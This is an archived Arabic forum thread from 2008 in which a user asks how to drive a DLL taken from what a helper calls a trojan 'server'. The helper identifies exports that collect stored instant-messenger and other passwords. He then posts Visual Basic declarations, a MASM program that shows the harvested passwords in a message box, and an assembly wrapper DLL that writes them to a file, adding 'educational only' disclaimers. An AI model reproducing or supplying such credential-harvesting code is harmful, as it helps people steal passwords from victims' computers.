الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

كيف يمكن أستغلال ملف الdll هذا؟؟؟؟

بدأه M.555 في 26 فبراير 2008 · 15 رد · 1,757 مشاهدة · في لغة Ms Visual Basic 6 وما قبلها من إصدارات
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ورحمة الله وبركاتة

أخواني وجدت مع أحد البرامج المعملوه بالدلفي ملف DLL

موجود بالمرفقات

هل أستطيع أستغلالة عن طريق الفيجول بيسك

مع العلم أنه لم يقبل الأضافة في References

وفقكم الله وجعل آخر أعمالكم طاعتة

PInfo.rar

#2

الملف بدون upx

لم اجربه لا املك فيجوال ولا اي برنامج استخدمت upx فقط لفك الضغط عنه.

بأي حال تستطيع استخدامه بدون ان تفك الضغط عنه من خلال استدعاء دالتي LoadLibrary و GetProcAddress من دوال API.

من خلال GetProcAddress تحصل على عنوان الدالة التي تريد تنفيذها منه.

اسماء الدوال موجودة في الصورة في المرفقات.

لتعرف ما نوع البارامترات التي تتعامل معها هذه الدوال راجع الموضوع:

/index.php?showtopic=132206

PInfo.rar

post-7008-1204063082_thumb.jpg

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#3

بارك الله فيك أخي Xacker على الرد وفقك الله

ولكن أخي بعض الأشياء لم أفهمها يعني ليس لدي الخبرة الموجودة عندك

ماهو Parameter وكيف يتم معرفته هل توجد برامج تساعدني في ذلك

ياليت أخي العزيز التعديل بهذا الكود بارك الله فيكم أذا كان صحيحاً

Public Declare Function GetProcAddress Lib "kernel32" Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long

Dim sAns As String
sAns = App.Path
If Right(App.Path, 1) <> "\" Then sAns = sAns & "\"
AppPath = sAns
Dim hFile As Long
hFile = LoadLibrary(AppPath & "PInfo.dll")
Dim addr As Long
addr = GetProcAddress(hFile, "Otherpasswords")

أثابكم الله ووفقكم وغفر لكم

#4

الكود صحيح ان شاء الله

اتصور فقط, اسماء الدوال الموجودة في الـ DLL تكون case sensitive حساسة لحالة الاحرف الافضل ان تستخدم "otherpasswords" كما يظهر في الصورة, بأي حال يمكن الكشف ببساطة عن هذا ان لم تعمل.

بعد ان حصلت على مقبض الدالة otherpasswords من الذاكرة تستطيع استدعاءها من خلال استدعاء addr المتحول الذي يحمل عنوان هذه الدالة في الذاكرة (كما هو واضح من الكود)

البارامترات ما يقصد بها المتغيرات التي تدخل في استدعاء الدالة, انظر مثلا الى دالة GetProcAddress التي قمت باستدعاءها

لها بارامترين hModule وهو عبارة عن العنوان ويكون من نوع Long (4 بايتات) وبارامتر lpProcName وهو من نوع String الذي يحمل اسم الدالة المطلوبة.

/index.php?showtopic=132206

في الرابط هذا ستجد من خلال IDA كيف تحدد نوع البارامترات التي تريد استخدامها, للأسف فهو غير متوفر على الجهاز الذي أعمل عليه حالياً وإلا قمت بفحصها لك. تستطيع إيجاد رابط له في مشاركة للأخ cipher في قسم البرمجة بلغة التجميع (الأسمبلي).

ان استطعت ان تجلب لي صورة للبارامترات من خلال IDA حددت نوعهم لك.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#5

أثابك الله أخي Xacker ونفع بعلمك المسلمين

سحبت البرنامج ونصبته وأتبعت الشرح الموجود على الرابط أعلاه

http://www.up.5alid.com/up/download.php?fi...=09d21c624d.jpg

http://www.up.5alid.com/up/download.php?fi...=832ddc2ed0.jpg

http://www.up.5alid.com/up/download.php?fi...=7f169135dd.jpg

ماأدري هل عملي صحيح

جزاك الله الف خير على كل ماقدمت وصدقني كلماتي تعجز عن شكرك .

#6

السلام عليكم.

كنت أريد التأكد قبل وضع الإجابة لذلك فضلت الإنتظار قليلاً لأضع الملف تحت IDA بنفسي.

جميع الدوال الموجودة في الملف لا تملك بارامترات -- أتصور أنه يجب أن أعدل إجابتي في الموضوع الآخر, الدالة الوحيدة التي تملك بارامتر وحيد هي sifre والبارامتر عبارة عن متغير LONG.

البقية وظائف بدون بارامترات تنفذ مباشرة.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#7

أخي Xacker معليش استحملني شوي

أنت تقول أن كل الدوال الموجودة في الملف لا تملك بارامترات ماعدا sifre

طيب كيف أخي أستطيع تنفيذ مثلاً أمر getimpasswords مباشرة

حاولت أعدل في الكود السابق مثلاً

Dim sAns As String
sAns = App.Path
If Right(App.Path, 1) <> "\" Then sAns = sAns & "\"
AppPath = sAns
Dim hFile As Long
hFile = LoadLibrary(AppPath & "PInfo.dll")
Dim addr As Long
addr = GetProcAddress(hFile, "getimpasswords")
Text1.Text = addr

طلعلي أرقام في التكست مثل هي 62072184

هل الكود غلط

#8

لا ارى شئ مفيد من القيمة المعادة, حتى انها غير مستخدمة للوهلة الأولى في تركيبة الملف, ان كانت قيمة hex "الوهلة الأولى أقصد بعد استدعاء الدالة مباشرة"

بأي حال دالة sifre يتم استخدامها في البرنامج الذي ارسلته لي بعد ان يتم طلب بعض هذه الدوال التي تحاول تنفيذها, سأحاول تحديد البارامتر الذي يتم ارساله لان هذه الدالة تقوم باستخدام المعلومات التي يتم اعادتها من الدوال السابقة بشكل ما سأحاول تحديده لك لنرى ما الطريقة لاستخدام هذه الدوال.

المشكلة أني سأضطر الى تنفيذ جزء من الـ server (اتصور ان الملف واضح على اي برنامج يعود) ساحاول تخطي الاجزاء التي قد تصيب جهازي.

عندما أعود للمنزل سأنظر مرة أخرى بشكل أفضل إلى ما يحدث بعد أن أقوم بتنصيب الفيجوال ستديو.

اعود اليك لاحقاً ان شاء الله.

السلام عليكم

تم تعديل هذه المشاركة بواسطة Xacker في 1 مارس 2008 في 01:31

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#9

روح ياشيخ الله يوفقك ويسعدك دنيا وآخره. ... وجزاك ربي أعلى درجات الجنان وطهر الله قلبك وملأه حباً له

#10
M.555 كتب:
طلعلي أرقام في التكست مثل هي 62072184

هل الكود غلط

Xacker كتب:
لا ارى شئ مفيد من القيمة المعادة, حتى انها غير مستخدمة للوهلة الأولى في تركيبة الملف, ان كانت قيمة hex "الوهلة الأولى أقصد بعد استدعاء الدالة مباشرة"

اعذرني يبدو أني كنت "مسطّل" البارحة قليلاً

الرقم الذي يظهر لك هو عنوان الدالة في الذاكرة, لسرعة قراءتي لشفرة الـ VB لم انتبه الى انك تعود لتسند قيمة العنوان الى متغير آخر.

بأي حال, بعد ان قمت بتنقيح ملف الـ server (المشكلة انه يختلف بسبب كونه مكتوب بالدلفي والتطبيق الذي تحاول كتابته هنا مكتوب بالفيجوال بيسك)

وجدت ان الدوال مثل getimpasswords و otherpasswords وما الى هذا من هذه الدوال هي عبارة عن وظائف فقط تنفذ بدون بارامترات تقوم باستعادة قيم معينة (تعلم ما هي) الى مكان ثابت في فضاء ذاكرة الـ DLL والتي يجب ان تستخدم بعدها دالة sifre لتقوم باستعادتها لكن..

دالة sifre لا تقوم باستعادة هذه البيانات فورا, هي فقط تقوم بالتبديل بين موقعين في الذاكرة, أحدهم هو المكان الذي يحوي هذه البيانات, والآخر عنوان آخر يتم الاشارة اليه في المكدس على ازاحة ثابتة.

الكود الذي تقوم بتنفيذه يكون بالشكل:

public declare function GetIMPasswords lib "pinfo.dll" alias "getimpasswords" ()
public declare function sifre lib "pinfo.dll" alias "sifre" (byval param as long)

private sub command1_click()

GetIMPasswords ' هذا يقوم بتنفيذ الدالة مباشرة بعد ان تحميلها من داخل المكتبة كما يظهر في التصريحات أعلاه
' لا حاجة لاستخدام LoadLibrary أو GetProcAddress ان كان الملف بنفس المجلد الخاص بالبرنامج
dim test as long
test = sifre(1)

end sub

لماذا قمت بتمرير القيمة 1 للدالة الثانية؟ هذا ما يتم تمريره ضمن الـ server.

ما المشكلة الآن؟

المشكلة أن قيمة test تكون عبارة عن Pointer ضمن المكدس وليست عنوان مباشر, هذا الـ Pointer يحوي على العنوان الذي يحمل البيانات التي تريد, السيرفر يستعيد البيانات بسهولة (لا أعلم كيف, هل هو دلفي مباشر أم يتم استخدام تعليمات أسمبلي) ما أعلمه لو اني اكتب هذا بالاسمبلي لحصلت على ما اريد بسهولة شديدة لاني استطيع التلاعب بمسجلات المعالج والقيم الموجودة في المكدس ببساطة.

السؤال, هل يمكن الحصول على العنوان الموجود ضمن Pointer معين (لندعوه متغير يحمل متغير آخر هو عنوان من ثم تريد الحصول على السلسلة المحرفية الموجودة على ذلك العنوان) بالفيجوال بيسك وهو ما لا أعلمه حاولت بضع محاولات البارحة لكن لم أصل الى نتيجة.

ماذا يجب ان تفعل الآن؟ تسأل أهل الخبرة بالفيجوال بيسك :)

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#11

صباح الخير وتقبل الله جميعاً صلاة الفجر

بخصوص الموضوع هذا, ان لم تجد ما تبحث عنه بواسطة الفيجوال بيسك, think outside the box

يمكن القيام بهذا بالاسمبلي :)

reverse بسيط على ملف الـ DLL

واجعله يقوم بما اريده القيام به

السلام عليكم

post-7008-1204425934_thumb.jpg

تم تعديل هذه المشاركة بواسطة Xacker في 3 مارس 2008 في 12:26

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#12

أثابك الله وتقبل صلاتك أخي Xacker

بالنسبة للأسمبلي ماعندي أي فكرة عن هذه اللغة رغم أهميتها

لكن هل تستطيع عمل ملف أو برنامج بالاسمبلي يتحكم بالDLL عن طريق الدوس مثلاً

يعني أرسل أمر للDLL بأن ينزل المعلومات المطلوبة منه في ملف txt وأقوم أنا بعد ذلك بالفيجول بيسك

بسحب المعلومات من الملف .

يعني يكون برنامج مصنوع بالأسمبلي مستقل أقوم بتنزيلة مع ملف DLL ليساعدني بأستخراج المعلومات منه

وفقك الله لما يحبه ويرضاه شكرا لك

#13

يمكن هذا ولست بحاجة الى كتابة شئ جديد, استطيع تغيير عمل الملف الاصلي من خلال الاسمبلي, سأقوم عند عودتي للمنزل عند توفر الوقت بإزالة upx منه ومن ثم اجراء التعديلات الضرورية عليه اتمنى فقط الا تعود قصة الـ DLL التي حدثت معي مرة للظهور مرة أخرى هنا, عندها سأضطر الى كتابة DLL بالاسمبلي ليقوم باستدعاء هذا الملف وجلب البيانات منه.

ادع لنا بالتوفيق. السلام عليكم.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#14

اتصور انه ان لم يكن هناك مشكلة في تشكيل ملف DLL يقوم بجلب البيانات المطلوبة من خلال pinfo.dll فهذه الطريقة أسلم من الخوض في "تخبيصات" الملف التي قد تظهر لو قمت بتعديله, الكتابة في مكان قمت بتعديله من فراغ بنية الملف...

انظر الشفرة التالية,

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib

.data
lib		db	"pinfo.dll",0
func	db	"otherpasswords",0
sifre	db	"sifre",0
at2k	db	"created for ArabTeam2000",0

.data
hMod	dd	?
pointer	dd	?

.code
start:
invoke	LoadLibrary, addr lib
.if (eax != 0)
	mov	hMod, eax
	invoke	GetProcAddress, eax, addr func
	.if (eax != 0)
		call	eax
		invoke	GetProcAddress, hMod, addr sifre
		push	offset pointer
		call	eax
		mov		eax, pointer
		invoke	MessageBox, NULL, eax, addr at2k, MB_OK
		invoke	ExitProcess, NULL
	.endif
.endif
end start

هي لتشكيل ملف EXE بالاسمبلي يقوم باستدعاء وجلب البيانات من الملف لتظهر ضمن رسالة.

شفرة مشابهة مكتوبة بشكل جيد تسمح لك بجلب كل ما تريده من بيانات, تضعه في متغير بالذاكرة تقوم بتمرير عنوانه من خلال الفيجوال (آمل انه من الممكن هذا :P طبعا ممكن من خلال استخدام API) الى ملف الـ DLL الجديد ليقوم هو بالباقي ويعيد البيانات الى مكان في الذاكرة تستطيع استخدامه من خلال دوال API ضمن برنامجك.

ما رأيك؟

test.rar

تم تعديل هذه المشاركة بواسطة Xacker في 8 مارس 2008 في 08:14

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#15

الله يوفقك يارب ويخليك ويسعدك دنيا واخرة يا قادر يا كريم وينفع بعلمك المسلمين

بارك الله فيك أخي Xacker ويسر أمورك

أرجوا منك أخي Xacker طلباً لاأمراً أن تعمل مثل هذا البرنامج وتجعل عنها بدل الرسالةأما ملف TXT أو تخزن في الرجستري بحيث أستطيع جلبها بعد ذلك

أهم شي أنه يكون أستطيع من خلال البرنامج تبعي عرض المعلومات فيه .

ألف شكر أخي Xacker مجهود تشكر عليه الله يجعلة في ميزان حسناتك اللهم أمين

#16

السلام عليكم ورحمة الله وبركاته

طريقة استخدام المكتبة بسيطة, يجب ان يكون ملف pinfo.dll في نفس المسار الذي يوجد فيه ملف المكتبة المرفق.

يتم طلبها بالشكل:

Private Declare Function at2k Lib "at2k.dll" (ByVal func As String)

Private Sub Form_Load()
at2k ("getimpasswords")
End

طبعا تستخدمها أينما أردت في أي حدث تريد.

تقوم بتمرير اسم الدالة التي تريد طلبها من ملف pinfo.dll والتي وضحتها في الصورة بالصفحة الأولى.

ان قمت بطلب sifre فالمكتبة المرفقة ستتجاهله ولا يتم تنفيذ أي شئ لذلك لست بحاجة الى طلبها وهذا التحقق موجود فقط كي لا يحدث خطأ اثناء التنفيذ.

المكتبة المرفقة ستقوم بطلب الدالة المطلوبة من pinfo.dll ومن ثم تعيد ما تم اخراجه وتقوم بكتابته في ملف at2k.tmp الذي سيكون أيضا موجود بنفس المجلد الذي يحتويها. قم بحذفه بعد تنفيذها وقراءة محتوياته ومعالجتها بالصورة التي تريد.

والشفرة بالأسمبلي للمكتبة:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include	kernel32.inc
includelib kernel32.lib
includelib user32.lib

doit			proto

.data
copyright	db	"This library has been written by Xacker for AT2000",0
lib			db	"pinfo.dll",0
disclaimer2	db	"I take no responsibility for the way you use my simple library",0
sifre		db	"sifre",0
disclaimer3	db	"This is supposed to be for pure educational purposes only",0
fName		db	"at2k.tmp",0

.data?
hMod		dd	?
hFunc		dd	?
getit		dd	?
hFile		dd	?
buff		dd	?
nWrite		dd	?
nWritten	dd	?

.code
DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD
	push	hInstance
	pop		hInstance
	mov		eax,TRUE
	ret
DllEntry Endp
at2k proc
	invoke	LoadLibrary, addr lib
	.if (eax != 0)
		mov	hMod, eax
		invoke	GetProcAddress, hMod, addr sifre
		mov	hFunc, eax
		mov	eax, dword ptr [esp+8]
		push	eax
		invoke	lstrcmp, eax, addr sifre
		.if (eax == 0)
			jmp	@F
		.endif
		pop		eax
		invoke	GetProcAddress, hMod, eax
		.if (eax != 0)
			call	eax
			push	offset getit
			call	hFunc
			mov		eax, dword ptr [eax]
			mov		buff, eax
			invoke	CreateFile, addr fName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL
			.if (eax != -1)
				mov	hFile, eax
				mov	eax, buff
				invoke	lstrlen, eax
				mov	nWrite, eax
				mov	eax, buff
				invoke	WriteFile, hFile, eax, nWrite, addr nWritten, NULL
				invoke	CloseHandle, hFile
			.endif
		.endif
		@@:
	.endif
	ret	
at2k endp
End DllEntry

فقط -- السلام عليكم

ولا تنسى ما اقسمت عليه.

at2k.rar

تم تعديل هذه المشاركة بواسطة Xacker في 10 مارس 2008 في 07:34

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

مواضيع مشابهة